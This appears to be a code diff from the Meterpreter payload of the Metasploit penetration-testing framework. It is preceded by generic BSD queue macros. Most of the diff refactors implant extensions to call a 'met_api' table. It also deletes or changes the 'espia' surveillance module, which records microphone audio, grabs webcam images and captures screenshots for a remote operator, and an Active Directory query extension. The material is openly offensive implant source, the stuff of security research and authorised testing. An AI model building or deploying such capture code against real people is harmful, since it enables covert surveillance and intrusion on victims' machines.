STAILQ_FIRST((head)) = (elm); \
} while (0)
#define STAILQ_INSERT_TAIL(head, elm, field) do { \
STAILQ_NEXT((elm), field) = NULL; \
*(head)->stqh_last = (elm); \
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
} while (0)
#define STAILQ_LAST(head, type, field) \
(STAILQ_EMPTY((head)) ? \
NULL : \
((struct type *)(void *) \
((char *)((head)->stqh_last) - __offsetof(struct type, field))))
#define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next)
#define STAILQ_REMOVE(head, elm, type, field) do { \
if (STAILQ_FIRST((head)) == (elm)) { \
STAILQ_REMOVE_HEAD((head), field); \
} \
else { \
struct type *curelm = STAILQ_FIRST((head)); \
while (STAILQ_NEXT(curelm, field) != (elm)) \
curelm = STAILQ_NEXT(curelm, field); \
STAILQ_REMOVE_NEXT(head, curelm, field); \
} \
TRASHIT((elm)->field.stqe_next); \
} while (0)
#define STAILQ_REMOVE_HEAD(head, field) do { \
if ((STAILQ_FIRST((head)) = \
STAILQ_NEXT(STAILQ_FIRST((head)), field)) == NULL) \
(head)->stqh_last = &STAILQ_FIRST((head)); \
} while (0)
#define STAILQ_REMOVE_NEXT(head, elm, field) do { \
if ((STAILQ_NEXT(elm, field) = \
STAILQ_NEXT(STAILQ_NEXT(elm, field), field)) == NULL) \
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
} while (0)
/*
* List declarations.
*/
#define LIST_HEAD(name, type) \
struct name { \
struct type *lh_first; /* first element */ \
}
#define LIST_HEAD_INITIALIZER(head) \
{ NULL }
#define LIST_ENTRY(type) \
struct { \
struct type *le_next; /* next element */ \
struct type **le_prev; /* address of previous next element */ \
}
/*
* List functions.
*/
#if (defined(_KERNEL) && defined(INVARIANTS))
#define QMD_LIST_CHECK_HEAD(head, field) do { \
if (LIST_FIRST((head)) != NULL && \
LIST_FIRST((head))->field.le_prev != \
&LIST_FIRST((head))) \
panic("Bad list head %p first->prev != head", (head)); \
} while (0)
#define QMD_LIST_CHECK_NEXT(elm, field) do { \
if (LIST_NEXT((elm), field) != NULL && \
LIST_NEXT((elm), field)->field.le_prev != \
&((elm)->field.le_next)) \
panic("Bad link elm %p next->prev != elm", (elm)); \
} while (0)
#define QMD_LIST_CHECK_PREV(elm, field) do { \
if (*(elm)->field.le_prev != (elm)) \
panic("Bad link elm %p prev->next != elm", (elm)); \
} while (0)
#else
#define QMD_LIST_CHECK_HEAD(head, field)
#define QMD_LIST_CHECK_NEXT(elm, field)
#define QMD_LIST_CHECK_PREV(elm, field)
#endif /* (_KERNEL && INVARIANTS) */
#define LIST_EMPTY(head) ((head)->lh_first == NULL)
#define LIST_FIRST(head) ((head)->lh_first)
#define LIST_FOREACH(var, head, field) \
for ((var) = LIST_FIRST((head)); \
(var); \
(var) = LIST_NEXT((var), field))
#define LIST_FOREACH_SAFE(var, head, field, tvar) \
for ((var) = LIST_FIRST((head)); \
(var) && ((tvar) = LIST_NEXT((var), field), 1); \
(var) = (tvar))
#define LIST_INIT(head) do { \
LIST_FIRST((head)) = NULL; \
} while (0)
#define LIST_INSERT_AFTER(listelm, elm, field) do { \
QMD_LIST_CHECK_NEXT(listelm, field); \
if ((LIST_NEXT((elm), field) = LIST_NEXT((listelm), field)) != NULL)\
LIST_NEXT((listelm), field)->field.le_prev = \
&LIST_NEXT((elm), field); \
LIST_NEXT((listelm), field) = (elm); \
(elm)->field.le_prev = &LIST_NEXT((listelm), field); \
} while (0)
#define LIST_INSERT_BEFORE(listelm, elm, field) do { \
QMD_LIST_CHECK_PREV(listelm, field); \
(elm)->field.le_prev = (listelm)->field.le_prev; \
LIST_NEXT((elm), field) = (listelm); \
*(listelm)->field.le_prev = (elm); \
(listelm)->field.le_prev = &LIST_NEXT((elm), field); \
} while (0)
#define LIST_INSERT_HEAD(head, elm, field) do { \
QMD_LIST_CHECK_HEAD((head), field); \
if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL) \
LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field);\
LIST_FIRST((head)) = (elm); \
(elm)->field.le_prev = &LIST_FIRST((head)); \
} while (0)
#define LIST_NEXT(elm, field) ((elm)->field.le_next)
#define LIST_REMOVE(elm, field) do { \
QMD_LIST_CHECK_NEXT(elm, field); \
QMD_LIST_CHECK_PREV(elm, field); \
if (LIST_NEXT((elm), field) != NULL) \
LIST_NEXT((elm), field)->field.le_prev = \
(elm)->field.le_prev; \
*(elm)->field.le_prev = LIST_NEXT((elm), field); \
TRASHIT((elm)->field.le_next); \
TRASHIT((elm)->field.le_prev); \
} while (0)
/*
* Tail queue declarations.
*/
#define TAILQ_HEAD(name, type) \
struct name { \
struct type *tqh_first; /* first element */ \
struct type **tqh_last; /* addr of last next element */ \
TRACEBUF \
}
#define TAILQ_HEAD_INITIALIZER(head) \
{ NULL, &(head).tqh_first }
#define TAILQ_ENTRY(type) \
struct { \
struct type *tqe_next; /* next element */ \
struct type **tqe_prev; /* address of previous next element */ \
TRACEBUF \
}
/*
* Tail queue functions.
*/
#if (defined(_KERNEL) && defined(INVARIANTS))
#define QMD_TAILQ_CHECK_HEAD(head, field) do { \
if (!TAILQ_EMPTY(head) && \
TAILQ_FIRST((head))->field.tqe_prev != \
&TAILQ_FIRST((head))) \
panic("Bad tailq head %p first->prev != head", (head)); \
} while (0)
#define QMD_TAILQ_CHECK_TAIL(head, field) do { \
if (*(head)->tqh_last != NULL) \
panic("Bad tailq NEXT(%p->tqh_last) != NULL", (head)); \
} while (0)
#define QMD_TAILQ_CHECK_NEXT(elm, field) do { \
if (TAILQ_NEXT((elm), field) != NULL && \
TAILQ_NEXT((elm), field)->field.tqe_prev != \
&((elm)->field.tqe_next)) \
panic("Bad link elm %p next->prev != elm", (elm)); \
} while (0)
#define QMD_TAILQ_CHECK_PREV(elm, field) do { \
if (*(elm)->field.tqe_prev != (elm)) \
panic("Bad link elm %p prev->next != elm", (elm)); \
} while (0)
#else
#define QMD_TAILQ_CHECK_HEAD(head, field)
#define QMD_TAILQ_CHECK_TAIL(head, headname)
#define QMD_TAILQ_CHECK_NEXT(elm, field)
#define QMD_TAILQ_CHECK_PREV(elm, field)
#endif /* (_KERNEL && INVARIANTS) */
#define TAILQ_CONCAT(head1, head2, field) do { \
if (!TAILQ_EMPTY(head2)) { \
*(head1)->tqh_last = (head2)->tqh_first; \
(head2)->tqh_first->field.tqe_prev = (head1)->tqh_last; \
(head1)->tqh_last = (head2)->tqh_last; \
TAILQ_INIT((head2)); \
QMD_TRACE_HEAD(head1); \
QMD_TRACE_HEAD(head2); \
} \
} while (0)
#define TAILQ_EMPTY(head) ((head)->tqh_first == NULL)
#define TAILQ_FIRST(head) ((head)->tqh_first)
#define TAILQ_FOREACH(var, head, field) \
for ((var) = TAILQ_FIRST((head)); \
(var); \
(var) = TAILQ_NEXT((var), field))
#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \
for ((var) = TAILQ_FIRST((head)); \
(var) && ((tvar) = TAILQ_NEXT((var), field), 1); \
(var) = (tvar))
#define TAILQ_FOREACH_REVERSE(var, head, headname, field) \
for ((var) = TAILQ_LAST((head), headname); \
(var); \
(var) = TAILQ_PREV((var), headname, field))
#define TAILQ_FOREACH_REVERSE_SAFE(var, head, headname, field, tvar) \
for ((var) = TAILQ_LAST((head), headname); \
(var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \
(var) = (tvar))
#define TAILQ_INIT(head) do { \
TAILQ_FIRST((head)) = NULL; \
(head)->tqh_last = &TAILQ_FIRST((head)); \
QMD_TRACE_HEAD(head); \
} while (0)
#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \
QMD_TAILQ_CHECK_NEXT(listelm, field); \
if ((TAILQ_NEXT((elm), field) = TAILQ_NEXT((listelm), field)) != NULL)\
TAILQ_NEXT((elm), field)->field.tqe_prev = \
&TAILQ_NEXT((elm), field); \
else { \
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
QMD_TRACE_HEAD(head); \
} \
TAILQ_NEXT((listelm), field) = (elm); \
(elm)->field.tqe_prev = &TAILQ_NEXT((listelm), field); \
QMD_TRACE_ELEM(&(elm)->field); \
QMD_TRACE_ELEM(&listelm->field); \
} while (0)
#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \
QMD_TAILQ_CHECK_PREV(listelm, field); \
(elm)->field.tqe_prev = (listelm)->field.tqe_prev; \
TAILQ_NEXT((elm), field) = (listelm); \
*(listelm)->field.tqe_prev = (elm); \
(listelm)->field.tqe_prev = &TAILQ_NEXT((elm), field); \
QMD_TRACE_ELEM(&(elm)->field); \
QMD_TRACE_ELEM(&listelm->field); \
} while (0)
#define TAILQ_INSERT_HEAD(head, elm, field) do { \
QMD_TAILQ_CHECK_HEAD(head, field); \
if ((TAILQ_NEXT((elm), field) = TAILQ_FIRST((head))) != NULL) \
TAILQ_FIRST((head))->field.tqe_prev = \
&TAILQ_NEXT((elm), field); \
else \
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
TAILQ_FIRST((head)) = (elm); \
(elm)->field.tqe_prev = &TAILQ_FIRST((head)); \
QMD_TRACE_HEAD(head); \
QMD_TRACE_ELEM(&(elm)->field); \
} while (0)
#define TAILQ_INSERT_TAIL(head, elm, field) do { \
QMD_TAILQ_CHECK_TAIL(head, field); \
TAILQ_NEXT((elm), field) = NULL; \
(elm)->field.tqe_prev = (head)->tqh_last; \
*(head)->tqh_last = (elm); \
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
QMD_TRACE_HEAD(head); \
QMD_TRACE_ELEM(&(elm)->field); \
} while (0)
#define TAILQ_LAST(head, headname) \
(*(((struct headname *)((head)->tqh_last))->tqh_last))
#define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next)
#define TAILQ_PREV(elm, headname, field) \
(*(((struct headname *)((elm)->field.tqe_prev))->tqh_last))
#define TAILQ_REMOVE(head, elm, field) do { \
QMD_TAILQ_CHECK_NEXT(elm, field); \
QMD_TAILQ_CHECK_PREV(elm, field); \
if ((TAILQ_NEXT((elm), field)) != NULL) \
TAILQ_NEXT((elm), field)->field.tqe_prev = \
(elm)->field.tqe_prev; \
else { \
(head)->tqh_last = (elm)->field.tqe_prev; \
QMD_TRACE_HEAD(head); \
} \
*(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); \
TRASHIT((elm)->field.tqe_next); \
TRASHIT((elm)->field.tqe_prev); \
QMD_TRACE_ELEM(&(elm)->field); \
} while (0)
#ifdef _KERNEL
/*
* XXX insque() and remque() are an old way of handling certain queues.
* They bogusly assumes that all queue heads look alike.
*/
struct quehead {
struct quehead *qh_link;
struct quehead *qh_rlink;
};
#ifdef __CC_SUPPORTS___INLINE
static __inline void
insque(void *a, void *b)
{
struct quehead *element = (struct quehead *)a,
*head = (struct quehead *)b;
element->qh_link = head->qh_link;
element->qh_rlink = head;
head->qh_link = element;
element->qh_link->qh_rlink = element;
}
static __inline void
remque(void *a)
{
struct quehead *element = (struct quehead *)a;
element->qh_link->qh_rlink = element->qh_rlink;
element->qh_rlink->qh_link = element->qh_link;
element->qh_rlink = 0;
}
#else /* !__CC_SUPPORTS___INLINE */
void insque(void *a, void *b);
void remque(void *a);
#endif /* __CC_SUPPORTS___INLINE */
#endif /* _KERNEL */
#endif /* !_SYS_QUEUE_H_ */

View File

@ -1,23 +0,0 @@
#ifndef _METERPRETER_LIB_SCHEDULER_H
#define _METERPRETER_LIB_SCHEDULER_H
#include "linkage.h"
#include "remote.h"
typedef enum
{
Pause = 1,
Resume = 2,
Stop = 3
} SchedularSignal;
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext);
typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext);
LINKAGE DWORD scheduler_initialize( Remote * remote );
LINKAGE DWORD scheduler_destroy( VOID );
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy );
LINKAGE DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal );
LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread );
#endif

View File

@ -1,43 +0,0 @@
/*!
* @file bare.c
* @brief Entry point and intialisation functionality for the bare extention.
*/
#include "../../common/common.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
Command customCommands[] =
{
// custom commands go here
COMMAND_TERMINATOR
};
/*!
* @brief Initialize the server extension
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
hMetSrv = remote->met_srv;
command_register_all(customCommands);
return ERROR_SUCCESS;
}
/*!
* @brief Deinitialize the server extension
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
return ERROR_SUCCESS;
}

View File

@ -1,12 +0,0 @@
/*!
* @file bare.h
* @brief Entry point and intialisation declrations for the bare extention.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H
#define _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H
#define TLV_TYPE_EXTENSION_BARE 0
// Custom TLVs go here
#endif

View File

@ -1,103 +0,0 @@
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include "espia.h"
#pragma comment(lib, "vfw32.lib")
#pragma comment(lib, "winmm.lib")
#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
BOOL capmicaudio(char* szFile, int millisecs)
{
UINT wDeviceID;
DWORD dwReturn;
MCI_OPEN_PARMSA mciOpenParms;
MCI_RECORD_PARMS mciRecordParms;
MCI_SAVE_PARMSA mciSaveParms;
MCI_PLAY_PARMS mciPlayParms;
DWORD dwMilliSeconds;
dwMilliSeconds = millisecs;
// Open a waveform-audio device with a new file for recording.
mciOpenParms.lpstrDeviceType = "waveaudio";
mciOpenParms.lpstrElementName = "";
if (dwReturn = mciSendCommand(0, MCI_OPEN, MCI_OPEN_ELEMENT | MCI_OPEN_TYPE, (DWORD_PTR)(LPVOID)&mciOpenParms))
{
// Failed to open device; don't close it, just return error.
return (dwReturn);
}
// The device opened successfully; get the device ID.
wDeviceID = mciOpenParms.wDeviceID;
mciRecordParms.dwTo = dwMilliSeconds;
if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD,
MCI_TO | MCI_WAIT, (DWORD)(DWORD_PTR)&mciRecordParms))
{
mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0);
return (dwReturn);
}
// Play the recording and query user to save the file.
mciPlayParms.dwFrom = 0L;
// Save the recording to a file. Wait for
// the operation to complete before continuing.
mciSaveParms.lpfilename = szFile;
if (dwReturn = mciSendCommandA(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD_PTR)(LPVOID)&mciSaveParms))
{
mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0);
return (dwReturn);
}
return (0L);
}
int __declspec(dllexport) controlmic(char **waveresults, int msecs) {
DWORD dwError = 0;
char *wavestring = NULL;
/* METERPRETER CODE */
// char buffer[100];
/* END METERPRETER CODE */
capmicaudio("C:\\test.wav", msecs);
*waveresults = wavestring;
/* return the correct code */
return dwError;
}
/*
* Grabs the audio from mic.
*/
DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
char *wave = NULL;
if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME)))
{
res = GetLastError();
}
//packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave);
packet_transmit_response(res, remote, response);
if (wave)
free(wave);
return res;
}

View File

@ -1,6 +0,0 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet);
#endif

View File

@ -2,41 +2,33 @@
* This module implemenet webcam frae capture and mic recording features.
*/
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include "espia.h"
#include "audio.h"
#include "video.h"
#include "screen.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
Command customCommands[] =
{
COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ),
COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ),
COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ),
COMMAND_TERMINATOR
};
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
{
hMetSrv = remote->met_srv;
met_api = api;
command_register_all( customCommands );
met_api->command.register_all( customCommands );
return ERROR_SUCCESS;
}
@ -48,7 +40,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all( customCommands );
met_api->command.deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -1,5 +1,5 @@
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "common.h"
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
@ -9,6 +9,7 @@
#include <wingdi.h>
#include "espia.h"
#include "screen.h"
#include "common_metapi.h"
/* Function modified to store bitmap in memory. et [ ] metasploit.com
@ -827,7 +828,6 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb);
// Don't send it yet. Convert it to a JPEG.
//packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s);
// JPEG conversion start here..'
@ -875,7 +875,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
(*src_mgr->finish_input) (&cinfo, src_mgr);
jpeg_finish_compress(&cinfo);
jpeg_destroy_compress(&cinfo);
packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size);
met_api->packet.add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size);
// Is it safe to free this right after pack_add_tlv_raw?
free(buf_jpeg);
@ -896,7 +896,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
*/
DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD dwResult = ERROR_ACCESS_DENIED;
HWINSTA hWindowStation = NULL;
HWINSTA hOrigWindowStation = NULL;
@ -1045,7 +1045,7 @@ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
if (hInputDesktop)
CloseDesktop(hInputDesktop);
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
return dwResult;
}

View File

@ -1,131 +0,0 @@
#include "../../common/common.h"
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include <tchar.h>
#include <ntsecapi.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include <vfw.h>
#include "espia.h"
#pragma comment(lib, "vfw32.lib")
#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
BOOL capWebCam(char *szFile, int nIndex, int nX, int nY, int nMsg)
{
HWND hWndCap = capCreateCaptureWindow(NULL, WS_CHILD , 0, 0, nX, nY, GetDesktopWindow(), 0);
if(!hWndCap) return FALSE;
capDlgVideoSource(hWndCap);
SetWindowLong(hWndCap,GWL_EXSTYLE,GetWindowLong(hWndCap,GWL_EXSTYLE));
ShowWindow(hWndCap,TRUE);
capSendMessage(hWndCap, WM_CAP_DRIVER_DISCONNECT, 0, 0);
capSendMessage(hWndCap, WM_CAP_DRIVER_CONNECT, 0, 0);
capSendMessage(hWndCap, WM_CAP_SET_SCALE, TRUE, 0);
capSendMessage(hWndCap, WM_CAP_SET_PREVIEWRATE, 1, 0);
capSendMessage(hWndCap, WM_CAP_SET_PREVIEW, TRUE, 0);
capSendMessage(hWndCap, WM_CAP_GRAB_FRAME_NOSTOP, 0, 0);
capSendMessage(hWndCap, WM_CAP_FILE_SAVEDIB, 0, szFile);
DestroyWindow(hWndCap);
return TRUE;
}
int GetCamIndex()
{
int wIndex;
char szDeviceName[80];
char szDeviceVersion[80];
for (wIndex = 0; wIndex < 9; wIndex++){
if (capGetDriverDescriptionA(wIndex, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion)))
return wIndex;
}
return -1;
}
// TODO: perhaps find a way of sharing this code with passwd.c?
char *StringCombine(char *string1, char *string2) {
size_t s1len, s2len;
if (string2 == NULL) { // nothing to append
return string1;
}
// TODO: what do we want to do if memory allocation fails?
s2len = strlen(string2);
if (string1 == NULL) { // create a new string
string1 = (char *)malloc(s2len + 1);
strncpy_s(string1, s2len + 1, string2, s2len + 1);
} else { // append data to the string
s1len = strlen(string1);
string1 = (char *)realloc(string1, s1len + s2len + 1);
strncat_s(string1, s1len + s2len + 1, string2, s2len + 1);
}
return string1;
}
int __declspec(dllexport) controlcam(char **imageresults) {
DWORD dwError = 0;
char *imagestring = NULL;
/* METERPRETER CODE */
// char buffer[100];
/* END METERPRETER CODE */
///////////////////
int nIndex;
nIndex= GetCamIndex();
if(nIndex == -1){
return nIndex;
}
capWebCam("C:\\test.bmp", nIndex, 640, 480, 10);
return 0;
////////////////////
/* return hashresults */
*imageresults = imagestring;
/* return the correct code */
return dwError;
}
/*
* Grabs the Webcam Image.
*/
DWORD request_video_get_dev_image(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
char *image = NULL;
do
{
if (controlcam(&image))
{
res = GetLastError();
break;
}
//packet_add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image);
} while (0);
packet_transmit_response(res, remote, response);
if (image)
free(image);
return res;
}

View File

@ -1,6 +0,0 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H
#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H
DWORD request_video_get_dev_image(Remote *remote, Packet *packet);
#endif

View File

@ -6,6 +6,7 @@
#include "wshelpers.h"
#include "adsi.h"
#include "adsi_interface.h"
#include "common_metapi.h"
/*! @brief The default page size to use when no page size is specified */
#define DEFAULT_PAGE_SIZE 1000
@ -26,7 +27,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
LPWSTR* lpwFields = NULL;
DWORD fieldCount = 0;
DWORD fieldIndex = 0;
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
Tlv fieldTlv;
DWORD maxResults;
DWORD pageSize;
@ -38,7 +39,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY);
}
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
dprintf("[EXTAPI ADSI] Domain: %s", lpValue);
dwResult = to_wide_string(lpValue, &lpwDomain);
if (dwResult != ERROR_SUCCESS)
@ -47,7 +48,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
break;
}
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
dprintf("[EXTAPI ADSI] Filter: %s", lpValue);
dwResult = to_wide_string(lpValue, &lpwFilter);
if (dwResult != ERROR_SUCCESS)
@ -56,10 +57,10 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
break;
}
maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS);
maxResults = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS);
dprintf("[EXTAPI ADSI] Max results will be %u", maxResults);
pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE);
pageSize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE);
dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize);
// Set the page size to something sensible if not given.
@ -76,7 +77,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
}
dprintf("[EXTAPI ADSI] Page size will be %u", pageSize);
while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
while (met_api->packet.enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
{
lpValue = (char*)fieldTlv.buffer;
dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue);
@ -131,7 +132,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
dprintf("[EXTAPI ADSI] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
return dwResult;

View File

@ -5,6 +5,7 @@
*/
extern "C" {
#include "extapi.h"
#include "common_metapi.h"
#include <Iads.h>
#include <Adshlp.h>
#include <AdsErr.h>
@ -186,7 +187,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
DWORD dwIndex = 0;
ADS_SEARCH_COLUMN col;
Packet* pGroup = packet_create_group();
Packet* pGroup = met_api->packet.create_group();
// iterate through the columns, adding Tlv entries as we go, but only
// if we can get the values out.
@ -201,56 +202,56 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
{
case ADSTYPE_LARGE_INTEGER:
{
packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart);
met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart);
dprintf("[ADSI] Adding large int value %lld", (UINT)col.pADsValues->LargeInteger.QuadPart);
break;
}
case ADSTYPE_INTEGER:
{
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer);
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer);
dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer);
break;
}
case ADSTYPE_DN_STRING:
{
dprintf("[EXTAPI ADSI] DN String: %S", col.pADsValues->DNString);
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString);
break;
}
case ADSTYPE_PRINTABLE_STRING:
{
dprintf("[EXTAPI ADSI] Printable String: %S", col.pADsValues->PrintableString);
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString);
break;
}
case ADSTYPE_NUMERIC_STRING:
{
dprintf("[EXTAPI ADSI] Numeric String: %S", col.pADsValues->NumericString);
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString);
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString);
break;
}
case ADSTYPE_CASE_EXACT_STRING:
{
dprintf("[EXTAPI ADSI] Case Extact String: %S", col.pADsValues->CaseExactString);
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString);
